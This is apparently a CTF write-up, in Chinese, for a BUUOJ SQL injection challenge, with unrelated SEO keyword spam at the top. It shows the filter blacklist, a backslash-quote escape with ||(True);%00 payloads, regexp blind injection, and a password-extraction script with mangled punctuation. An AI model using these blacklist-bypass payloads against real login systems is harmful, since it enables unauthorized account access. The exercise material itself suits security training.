php电商网站开发流程,常州网站关键字优化,页面游戏,广西壮族自治区成立时间欸嘿#xff0c;继续sql注入。又是新的sql注入类型 很直接哦#xff0c;给出了sql查询语句。简单扫描一下#xff0c;robots.txt还能访问。里边提示hint.txt
$black_list /limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00…欸嘿继续sql注入。又是新的sql注入类型 很直接哦给出了sql查询语句。简单扫描一下robots.txt还能访问。里边提示hint.txt
$black_list /limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\|| |in|||-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i;If $_POST[passwd] admins password,Then you will get the flag; 过滤了一些东西而且只要密码对了就能拿到flag。来看看fuzz结果吧 。 过滤有点多哦而且我还没放完。单引号被过滤了一刀砍在大动脉。但是路堵了不代表窗户也封了。我突然想到反斜杠将引号转义在将后边的引号注释掉不就绕过了吗思路的确是这个思路不过常规盲注与常规注入关键字被过滤差不多看了大佬wp说重点在regexp上。
payload大概就是这个样子
username\passwd||(True);%00 查询语句变成了以下形式。其中一个单引号被 \ 影响成了普通字符导致单引号闭合错误
select * from users where username\ and passwd||(True);%00 ;%00代替注释符 ()代替空格。%09 /**/也是可以的代替空格的 返回正确会有一个welcome.php。接下来就是脚本运行正则盲注了
||(passwd)regexp(^Yo);%00
含义匹配当前表下passwd列里的内容是否为YO或者yo。
说真的这种写法第一次见还是有点突兀。因为是正则匹配所以在脚本中一定要过滤掉通配符(*,,?)。不然脚本就会一直卡在通配符。而且这个passwd列名是猜的。估计是hint.txt里有个passwd。。。。
import requests
from urllib import parseflag
urlhttp://019f0128-771d-48bb-8dab-8b6e9995ca8d.node5.buuoj.cn:81/index.php
for i in range(1,500,1):for y in range(1,128,1):xflagchr(y)data||passwd/**/regexp/**/^{};{}.format(parse.unquote(x),parse.unquote(%00)) #%00也要解码#print(chr(y))content {username: \\, #防转义passwd: data}#print(data)datasrequests.post(urlurl,datacontent)if chr(y)* or chr(y) or chr(y)?: #因为是正则匹配所以要过滤通配符continueelif welcome in datas.text:flagflagchr(y)print(flag)break 自己写的脚本有点烂见谅。 因为大小写不区分所以这里还得转小写。
print(YOU_WILL_NEVER_KNOW7788990.lower())
#you_will_never_know7788990
登录就能拿到flag了 。